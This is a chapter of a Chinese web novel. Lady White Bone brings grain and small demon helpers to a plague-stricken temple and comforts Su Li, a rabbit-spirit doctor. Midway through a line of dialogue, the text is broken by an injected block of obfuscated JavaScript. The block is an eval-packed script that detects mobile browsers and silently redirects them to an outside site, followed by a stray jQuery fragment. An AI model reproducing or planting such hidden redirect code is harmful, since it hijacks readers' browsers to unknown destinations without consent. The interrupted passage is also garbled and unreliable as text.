“夫人？”道观门口，一个守门的道士最先看到那抹身影，难以置信地揉了揉眼睛，几乎以为是自己饿花了眼。
正跪拜祈愿的村民听到道士的呼声，齐齐回头看去，立刻认出那个身影正是经常跟在苏大夫身边的白衣女子。
白骨夫人依旧是衣白如雪，纤尘不染。她的身后跟着几个容貌各异的小妖，有的背着巨大的藤筐，有的抬着鼓囊囊的麻袋。
她目光清淡地扫过道观前的人群，对着为首的道士微微颔首，让几个小妖放下了手中的东西。
“这是洞府的存粮，你找人分下去吧。”声音清冽。
村民本来还对白骨夫人身边的小妖有些害怕，听闻它们带来了粮食，眼中的惧色褪去，转为满眼的感激，他们纷纷朝着白骨夫人的方向跪下磕头，语无伦次地喊着“活菩萨”、“神仙”。
白骨夫人神情淡漠，恍若未闻，只将手下小妖拨给道士指挥，问道：“苏璃呢？”
“哦，苏大夫还在里面救人呢。”道士连忙指了个方向，“那里面全是病患，夫人您要不还是……”
他话未说完，白骨夫人已径自朝里走去。
“我进去寻她。”
-
换上粗陋的防护衣物，周身喷过刺鼻的药酒，白骨夫人穿过层层充满药味和痛苦呻吟的病区，终于在里间找到了苏璃。
此时，苏璃正俯身给一名病人注射着药剂，她的脸上带着疲惫，声音却依旧温柔道：“好了，您安心吧，一定会好的。”
苏璃转身欲走，动作却猛地顿住。
她看见门口逆着光站着的，正是她熟悉得不能再熟悉的身影。
“夫……人？”苏璃瞳孔微缩，一个箭步冲上前，抓住她的手腕，压着声音问道，“你怎么来了？！”
不等对方回应，苏璃迅速转头对旁边两个道士交代了几句：“劳烦两位观察病患情况，我去处理点事。”
随后，她不容分说，拉着白骨夫人就往外走：“跟我出去。”
白骨夫人就这样任由苏璃抓着，被她带离了充满病气的病房。
苏璃一言不发地换下了防护服，又反复给二人仔细消毒，随后拉着夫人回到自己暂居的厢房。
“砰”地一声，房门在身后关上。
连日因为瘟疫与缺粮带来的强压，如同决堤的洪水，瞬间冲垮了苏璃脸上那层温柔的假面。
她猛地将白骨夫人抵到了门上，压抑着怒火，颤抖着声音问道：“我不是写信说山下危险，让你千万别下山吗？你知道山下有什么吗？！”
“我知道。”白骨夫人背靠着门板，没有半分挣扎，抬眸迎上苏璃的目光。
她缓缓抬起另一只手，轻柔地将苏璃脸旁被汗水浸湿的碎发拨到耳后，平静地说道：“所以我才要来。”
“你来？你能做些什么？你来了，那洞府的小妖要怎么办？”苏璃几乎是低吼出来，紧攥的手收得更紧。
她知道白骨夫人修为高，根本不可能染病，但是万一呢？抗鼠疫的西药只对人类管用，若是夫人染上病，她根本没有办法。
“洞府被我用寒冰封上了，可暂保洞内小妖无虞。”白骨夫人并未因她的态度动怒，声音依旧平稳，条理清晰地解释，“村中缺粮，我带来了些洞府的余粮，还有不少是之前村民送的粮食，足够挺过这些时日了。”
“鼠穴洞道纵横，连通诸村，是疫气之源，我已将山中的清理大半。”她顿了顿，摸了摸苏璃因为生气而微微分开的兔耳，“我与小妖，不惧疫气，可清鼠穴，我们助你斩断源头。”
“你……”苏璃望着眼前这张清冷依旧的脸，心头那股无名火像是被一盆冰水浇熄。
半响，她张了张嘴，声音哽了一下，道：“其实你……不必如此……”
“那你呢？”白骨夫人反问，语气平淡无波，“你又为何如此？”
“因为我是医生啊。”苏璃扯出一个笑容，“治病救人，天经地义。但……你不是，你是小妖们的夫人，不必为了这些凡人以身犯险。”
“可我也是你的夫人。”白骨夫人理所当然地，眼神平静无波，“你救他们，我护你。”
苏璃愣住了。
片刻后，她将额头轻轻抵在白骨夫人微凉的颈窝，肩膀颤抖，低低地几乎无声笑了起来。
这人……真是好不讲道理。
两人就这样静静地靠在门上，白骨夫人抬起手，轻轻环住苏璃，就像对还是兔子时的她一般，一下一下温柔地抚摸着她的背。
不知过了多久，门外传来道士急促的呼喊：“苏大夫！二床的病人高热复起！”
苏璃如梦初醒，猛地松开手，扬声应道：“这就来！”
她的目光扫过白骨夫人雪白的手腕上，那圈深红的指痕清晰刺目。
“抱歉……”苏璃懊恼地垂下兔耳，指尖小心翼翼地抚上红痕，“方才是我昏了头……夫人等我一下，我过会儿来寻你。”
白骨夫人轻轻捏了捏苏璃的耳朵，轻笑道：“去吧，苏大夫。”
-
苏璃稳定住二床病人的体温，尚未喘息，门口又探进一个道士为难的脸：“苏大夫……夫人带来的那些妖族，您看如何安置是好？”
“我来安排吧。”苏璃闭了闭眼，压下眉宇间的疲惫，对道士道，“你留在这边帮忙。”
刚踏入前院，几个形态各异、衣着鲜亮的小妖便立刻围了上来。
“苏璃！苏璃！好久不见呀！”
“我们来帮忙啦！有什么活儿尽管吩咐我们吧！”
“你们还有夫人，可真是……”苏璃无奈地揉了揉额角，方才对夫人发了通火，此刻看见这些小妖只剩下满满的无奈了。
“苏璃，你不要怪夫人……”啾啾怯生生地开口，小声道，“是我们……我们担心你，才求夫人带我们来的。”
“是呀是呀！”其他小妖立刻七嘴八舌地附和。
“尾巴姐姐想来，还不能来呢，被夫人留下看守洞府了。”
“那位送信的小道长呢？”苏璃想起淼淼，问道。
“那个小屁孩？”尖耳朵的猫妖幸灾乐祸地呲牙，“他被夫人关禁闭啦！哈哈哈哈！”
“谁叫他不听话！”另一个小妖叉着腰，一脸正气，“半点修为都没有，还非嚷嚷着要来帮忙！夫人嫌他过来也是给你添乱，所以直接把他锁屋里啦！”
“嘻嘻，那我不一样！”猫妖得意地挺起胸脯，尾巴翘得老高，“我可是有修为的！”
“得了吧你！”刺猬精毫不留情地拆台，“你那点道行，还不够我塞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991687|177848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牙缝的！”
“你！”猫妖瞬间炸毛，眼看两只小妖就要扭作一团。
苏璃听着她们叽叽喳喳的吵闹，连日紧绷的神经似乎被注入了一丝暖意。
“好了，都安静！”她提高声音，放出一阵威压道，“既然来了，就帮忙做事，现在都听我安排。”
苏璃根据她们的修为给她们安排了适合的工作，啾啾修为最高，主动提出给苏璃打下手，苏璃拗不过，只能点头同意。
安排妥当这些小妖，苏璃并未停歇。
她穿过忙碌的前院，寻到了正在后院熬制药汤的凌虚子。
“凌虚道长，”苏璃走到近前，低声道，“我家那些小妖……您有空多护着点。”
“你夫人居然下山来帮忙了？”凌虚子略显惊讶。
苏璃颔首，无奈道：“我信中再三叮嘱，山下鼠疫肆虐，让她和小妖们务必留在山上，但是没想到……”
“她也是担心你。”凌虚子指了指不远处飘着热气的粥棚，“多亏了她带来的粮食，方才大家分食了些薄粥，气色也都好了些。”
“你们家那些小妖各个有修为护体，鼠疫根本奈何不得她们。”凌虚子倒不像苏璃关心则乱，乐观地道，“如今多了那么多人手，想来这瘟疫也能快些结束。”
“一定。”苏璃看着远处各自忙碌的道士、村民和妖怪，语气笃定。
-
忙活了大半天，直到天色将晚，苏璃才终于得了片刻空隙，匆匆返回厢房来寻白骨夫人。
然而，房内却空空如也，不见半点人影。
苏璃神色一暗。
就在这时，房门被推开，白骨夫人走了进来。
“忙完了？”她问。
苏璃“嗯”了一声，慢慢走过去，轻轻牵起她的手，指尖落在那圈浅淡的红痕上，细细摩挲。
“夫人方才……去哪儿了？”她轻声问。
“去帮忙了。”白骨夫人顿了顿，补充道，“放心，出来时我重新净手熏过药了。”
苏璃抬起头，望着她近在咫尺的清冷面容，握着她的手腕问道：“疼吗？”
白骨夫人垂眸看了一眼，似乎才想起这回事，摇头道：“不疼。”这点红痕于她这等大妖而言，甚至连皮外伤都算不上。
苏璃的手指依旧在那处轻轻摩挲，声音低柔：“对不起，夫人，刚才我不该对您发火的……”
“无妨。”白骨夫人打断她的自责，目光落在苏璃眼下那片浓重的青黑上，“倒是你，多久未曾合眼了？”
“没事，我有修为在身，不用休息。”苏璃习惯性地露出一个安抚的笑容道，“疫病当前，还有很多人在等着……”
话音未落，白骨夫人已不容分说地揽住她的肩，将她按坐在床边。
“睡。”
“可是……”
白骨夫人见苏璃如此固执，也不再多言，指尖微动，一缕冷清的气息悄然拂过。
苏璃只觉连日紧绷的神经骤然一松，眼皮不受控制地渐渐合上，呼吸很快变得绵长而平稳。
白骨夫人拉过薄被，仔细地为她掖好被角，搬过一张凳子，静静地坐在床边，清冷的眸光落在苏璃沉睡的容颜上。
连轴转了几天几夜的苏大夫，终于沉沉地陷入了梦乡……